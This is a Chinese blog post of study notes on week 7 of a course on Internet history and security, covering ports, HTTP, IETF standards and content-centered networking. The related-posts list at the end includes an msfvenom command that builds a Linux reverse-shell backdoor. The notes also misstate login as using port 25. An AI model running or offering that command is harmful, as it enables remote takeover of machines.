Internet History, Technology and Security (Week7)
Week7

With reliable "pipes" available from the Transport layer, we can build applications like web browsers, file transfer applications, or email clients and servers.
Technology: Application Protocols
Layer 4: Applications
Keywords: Application Layer, Ports, Application Protocols, HTTP, Internet Standards, Content Centered Networking
Application Layer
在已有的link layer、Internet Protocol layer、Transport layer的基础之上,我们不再考虑底部复杂的机制,只关心TCP/IP带给我们的坚固的“水管”,能用来干些什么。这就是第四层,应用层,Application Layer。

在上图中,两侧都有Application方框。一般来说,一侧代表用户,另一侧代表服务器。用户是经常向服务器发出各种请求(request)的,然后服务器就负责对请求进行回应。
应用层解决的实例:
- Mail
- World Wide Web(万维网)
- Stream Kitty videos
Application Layer有两个基本问题:
1.Which application gets the data?
- Ports
2.What are the rules for talking with application?
- Protocols
Ports
Port,端口。在网络协议体系中,端口代表通讯在操作系统中的一个端点。
端口对于TCP来说,就好像电话号码之后的扩展号码。(比方说10010之后1是查话费、2是定套餐之类的,这样比喻是否合适...我也不是太确定。。。)所以说,端口号一定是依附于IP地址的。我们知道,IP地址是从广泛到特定,前面先是代表LAN,后面代表特定服务器,再后面跟着端口号,端口就是更一步的细分,告诉我们到底使用什么Application。
Ports and Connection

例如:服务器 www.umich.edu,IP地址为74.208.28.177。有很多的用户在访问这个服务器。在服务器上,有各种各样的服务,例如发送邮件、个人邮箱、登录、网页浏览等等。不同的端口号对应不同的服务,例如下图中接受邮件是由端口25来完成的;登录是端口25负责;浏览安全 or 不安全的网页是通过端口443 or 80,个人邮箱是由端口109和110负责。用户的电脑不只是连接到IP地址就停止,而是连到IP地址里的特定端口,使用特定服务。
下面是一些常见的TCP Ports:

Application Protocols
已经连接到特定端口了,我们现在需要知道如何与它们进行交流和信息交换。负责这项工作的就是Application Protocols,它是rules for conversation。
可以着重了解一下万维网(World Wide Web),是最流行的一个应用层实例,设计优雅,非常简单,也很容易理解。
HTTP - Hypertext Transport Protocol

HTTP,超文本传输协议,是互联网上应用最为广泛的一种网络协议。所有的WWW文件都必须遵守这个标准。
world wide web的client,也就是众所周知的浏览器,就是使用HTTP协议来进行通讯。
对于统一资源定位符URL,协议里就规定了具体它是如何工作的,原理非常简单,就是HTTP request response cycle。

当鼠标按到URL链接,浏览器就向服务器提出请求(HTTP request),随后服务器进行回应(HTTP response),回应的是HTML文本,然后客户的浏览器基于这些HTML文本显示网页(display)。
cycle流程就是click、(connection)request、response、display。
Internet Standards
Internet Standards,是在计互联网工程中的一个规定规范标准的技术和方法。是由IETF,(Internet Engineering Task Force,互联网工程任务组)制定的。如果说,你要写一个浏览器,那么你就应该去看看这个东西。

Application Layer Summary

应用层,基于底部的三层,不考虑底部技术细节,把它们抽象一个简单的管子,连通客户和服务器。
应用层是一个体量丰富的层次,在这一层就有许许多多的应用了。我们使用端口号,这样我们就可以连接到同一服务器上面的不同服务。
The Amazing Internet!!
介绍完Application Layer,我们也讲完了四层模型,到达了这个体系架构的最高点。在Link Layer,我们讨论过无线、有线、以太网。在第二层Internet Protocol,数据经过多个hop最终传达到目标网络,虽然有一点点不稳定可靠。TCP层在需要时会让数据不断重传。而Application Layer就是我们用这些网络去做的实事。
网络服务器的数量,从1969年的6台,在2011年飙升至十亿。最让人印象深刻的是,很多原理来自于七八十年代的研究工作,但依然沿用至今。由6台服务器设计而来的网络架构思想,在经过这么多年之后,在十亿台服务器上,还能保持基本相同的模式,正常工作,稳定运行。
现在重新看看整个网络,它看上去几乎像一个活生生的生物,有神经、有血管、有脉搏,而不是一个死气沉沉的东西。
数以百万计的电脑。
成千上万的路由器。
数以百万计的同步连接。
每秒数万亿字节的数据移动到世界各地。
而且它完美地运行着。

You can think of it as like, the largest, engi-collective, engineering thing that we've done together as humanity, we built this. It's all one thing, and yet it's so many different pieces. And we just kind of keep, gluing them together, and gluing more things on more things. And it was, it really was created almost like life itself. It's very organic. It's designed to heal itself, rather than be perfect. Because things that try to be perfect are fragile, and they break too easily. But things that are designed to heal, can heal. And you're never perfectly correct. You're never all the way up, and you're never all the way down. And so that's what's interesting about the internet.
你可以想想:有史以来,人类共同完成的,最大的工程集合——互联网,凝结了无数人的汗水和智慧结晶。可以把它看成一个简单的东西,但是其中是由很多不同的小件组合而来的。我们一直做的工作就是把它们粘合在一起,不断增加新的功能。创建它,真的像是被赋予了生命。我们为它设计了自愈能力,而不是追求完美。因为追求完美的事物,本身就是脆弱的,太容易被打破。让互联网拥有自愈能力,那么就能做到不断地自己解决其中的一些问题。你不会一路一帆风顺,也同样不会举步维艰。这就是,有趣的互联网。
——虽然是渣翻译,但我觉得,老师说的太好了!
Van Jacobson - Content Centered Networking
这是Van对在不久的将来,互联网发展的一个设想——Content Centered Networking。
Van认为,我们对电脑上的网络系统的构建,源自于电话系统。人们的一些想法,例如packet switching、IP layer,使得网络不等同于电话线,很成功,也很伟大,是让互联网成功的原因。我们眼光不再着重于wire上,而是information in the wires。
但是,我们把以信息为中心的web模型和以把主机为中心的TCP/IP模型结合起来,这在以后可能会面临很大的问题。
这些东西是在90年代到二十一世纪初才有的,当时还没有关于让电脑“交流”的模型。为了让电脑“交流”,人们制定协议来让电脑“交流”。在协议里,我们的做法是:给information取名字。
Van:不要简单的认为web只是TCP/IP协议上的一层覆盖物而已,虽然TCP/IP协议是如今web所依赖而运行的。(我觉得讲的很不错,互联网从来就没说自己是非常完美的)我们要想想,我们做的百分之99的工作只是web-like stuff,只是附加,而不是真正的web。有没有一种模型能让我们达到现如今同样的地步,但更加着重于packet,也就是信息本身呢?我们能不能更加着重于“交流”的本意,而不是去制造一层“交流之上的覆盖物”?
比方说,如果你制作了一个影片并把它放到YouTube上,从实质上来说,你做的事情差不多相当于“lie to the Network”,因为TCP/IP协议认为location是由IP地址决定的。但实际上,不要简单的认为,这只是一个地址,其实已经遍布全球了。
就是URL、IP地址、端口号、等等这些东西。比如我访问Amazon,我是通过Amazon的域名,然后浏览器通过这个访问web服务器,服务器就返回一个“这个名字所代表的东西”。虽然通过URL等等这些东西,你能够找到你想要的“信息”,但URL这些东西本身不是信息,而是“信息的名字”。
依据上面的论述,Van指出,实质上是“人”在网络上创造内容,使用内容,消费内容。我们能不能够对现有的网络构架重构,让其基础设施专注于更加低的层次——信息本身、内容本身。这就是他想的Contene Centered Networking,Van的设想就是:专注于数据本身,而不是来源。
Internet History, Technology and Security (Week7)的更多相关文章
- Internet History, Technology and Security (Get Started)
Abstract 课程名称:互联网的历史.技术和安全 coursera地址 制作方:密歇根大学(University of Michigan) 教师:Charles Severance, Associ ...
- Internet History,Technology and Security
Internet History,Technology and Security(简单记录) First Week High Stakes Research in Computing,and Comm ...
- Internet History,Technology,and Security - History Through Supercomputing(Week2)
时间飞逝,一周又过去了,这周我们来到了Internet History, Technology and Security (Week 2)的学习,从标题就可以看出,这周主要是介绍“互联网”雏形的诞生. ...
- Coursera: Internet History, Technology, and Security
课程网址:https://www.coursera.org/learn/internet-history 学习笔记: Week 1: History - Dawn of Early Computing ...
- Internet History, Technology and Security (Week 2)
Week 2 History: The First Internet - NSFNet Welcome to week 2! This week, we'll be covering the hist ...
- Internet History, Technology and Security (Week 9)
Week 9 Security: Web Security We are now on the second to last week of the class and finishing up ou ...
- Internet History,Technology,and Security -Technology: Application Protocols(Week7)
Week7 Technology: Application Protocols This week, we’ll be covering application protocols. With rel ...
- Internet History, Technology, and Security(week7)——Technology: Application Protocols
Layer 4: Applications Application Layer TCP提供了“a reliable pipe”(一个坚固的水管)连接用户和服务器,确保了数据能准确不出意外地传输,所以A ...
- Internet History, Technology, and Security(week1)——History: Dawn of Electronic Computing
前言: 第一次进行课程学习,在反复观看视频和查找字典翻译理解后选出了视频中个人认为较重要的概念,以下并不按照逐句翻译,中文概括大意余下自由发挥,对老师想要告诉我们的历史有一个初步的了解,顺便锻炼以下英 ...
随机推荐
- Scala的高级特性
高阶函数 概念 Scala混合了面向对象和函数式的特性,我们通常将可以作为参数传递到方法中的表达式叫做函数.在函数式编程语言中,函数是“头等公民”,高阶函数包含:作为值的函数.匿名函数.闭包.柯里化等 ...
- 使用MATLAB工具deploytool打包不成功的解决办法
下面解决方法是来自百度贴吧一抹伊静的解决办法,很好用,非常感谢,现记录下来以便后续查看: 这个问题是2014a 需要破解:下载一个破解文件,原因是matlab未完全破解,2014a的破解办法:http ...
- 20155202 张旭 课下作业: Linux下IPC机制
20155202张旭 Linux下IPC机制 IPC机制定义 在linux下的多个进程间的通信机制叫做IPC(Inter-Process Communication),它是多个进程之间相互沟通的一种方 ...
- c++ 绘制方框
知识点: GetStdHandle函数 FillConsoleOutputCharacter函数 SetConsoleCursorPosition函数 system函数 一. GetStdHandle ...
- 9.22 开课第十九天(window对象)
DOM:文档对象模型 --树模型 文档:标签文档,对象:文档中每个元素对象,模型:抽象化的东西 一:window: 属性(值或者子对象): opener:打开当前窗口的源窗口,如果当前窗口是首次启动浏 ...
- 牛客练习赛31 D 最小相似度
最小相似度 链接 分析: 转化为求1的个数,这样两个串不同的位置的个数就是1的个数.那么对于一个二进制串x,它的贡献就是max{x与s[i]异或后0的个数}=>max{m-x与s[i]异或后1的 ...
- JAVAWEB servlet验证登录时进行完全的非空判断防止空值登录
如果不进行完全的非空判断,那么对 "" 这种类型的空值就会导致直接登录 所以需要用下面的字符串处理方法对其进行判断 这样就可以防止空值登录了 容易出现的混淆错误: 这里的空值登录容 ...
- msfvenom生成linux后门
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -f elf > shell.elf
- PLSQL Developer 客户端没有TNS监听,无法连接数据库
在Windows Server 2008 中安装了 64位的Oracle,好不容易将监听做好,在使用客户端 PLSQL Developer 的时候发现竟然没有TNS监听. 问题如下: 如上图所示,打开 ...
- EF6.0 code first感触
随着EF技术的更新现在已经到了EF7.0时代,追随着技术的大潮去不断更新迭代自己,让自己知道自己还没有被技术抛弃. 今天看了下EF 6.0 codefist技术,简单,对于传统的DAL层省去了大量的人 ...